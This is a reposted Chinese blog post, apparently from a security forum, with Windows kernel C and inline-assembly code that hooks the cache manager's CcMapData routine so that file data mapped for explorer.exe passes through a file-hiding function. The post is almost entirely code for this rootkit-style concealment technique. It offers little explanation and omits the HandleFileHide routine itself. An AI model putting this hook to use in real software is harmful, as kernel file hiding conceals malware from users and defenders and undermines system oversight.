[转载]挂接缓存管理器CcMapData()实现文件XX

Posted 黑月教主的空间

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[转载]挂接缓存管理器CcMapData()实现文件XX相关的知识,希望对你有一定的参考价值。

原作者Azy,发表于DebugMan论坛。

=======================================================

这个方法的最大好处在于简单~~不用分别处理~~

VOID __stdcall HandleMapData(
    IN PFILE_OBJECT  FileObject,    
    IN PLARGE_INTEGER  FileOffset,    
    IN ULONG  Length,    
    IN ULONG  Flags,    
    OUT PVOID  *Bcb,    
    OUT PVOID  *Buffer
    )
{    
    if(!_strnicmp((PCHAR)((ULONG)PsGetCurrentProcess() + ImageNameOffset), "explorer.exe", strlen("explorer.exe")))    
    {        
        if(CcPinMappedData(FileObject, FileOffset, Length, Flags, Bcb))            
        {            
            HandleFileHide(*Buffer, Length);            
        }    
    }
    return;        
}

void __declspec(naked) NewCcMapData()
{    
    __asm        
    {
        pushad        
        pushfd        
        cli        
        push [ebp+1ch]        
        push [ebp+18h]        
        push [ebp+14h]        
        push [ebp+10h]        
        push [ebp+0ch]        
        push [ebp+8]        
        call HandleMapData        
        sti                
        popfd        
        popad        
        mov ecx, [ebp-10h]        
        mov fs:0, ecx        
        pop edi        
        pop esi        
        pop ebx        
        _emit    0xc9        
        ret 18h        
    }    
}

 

以上是关于[转载]挂接缓存管理器CcMapData()实现文件XX的主要内容,如果未能解决你的问题,请参考以下文章

SpringBoot缓存管理之整合Redis缓存的实现

博文恶意转载测试uyfed

博文恶意转载测试uyfed

博文恶意转载测试uyfed

Python深入02 上下文管理器

转载:AbstractQueuedSynchronizer的介绍和原理分析